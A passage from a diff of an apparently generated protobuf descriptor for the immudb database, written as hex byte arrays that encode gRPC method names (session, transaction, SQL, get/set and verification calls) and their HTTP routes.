0x65, + 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, + 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, + 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, + 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, - 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, - 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, + 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, + 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, + 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, + 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, + 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, + 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, - 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, - 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, - 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, - 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, - 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, - 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, - 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, - 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, - 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, - 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, - 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, - 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, - 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, - 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 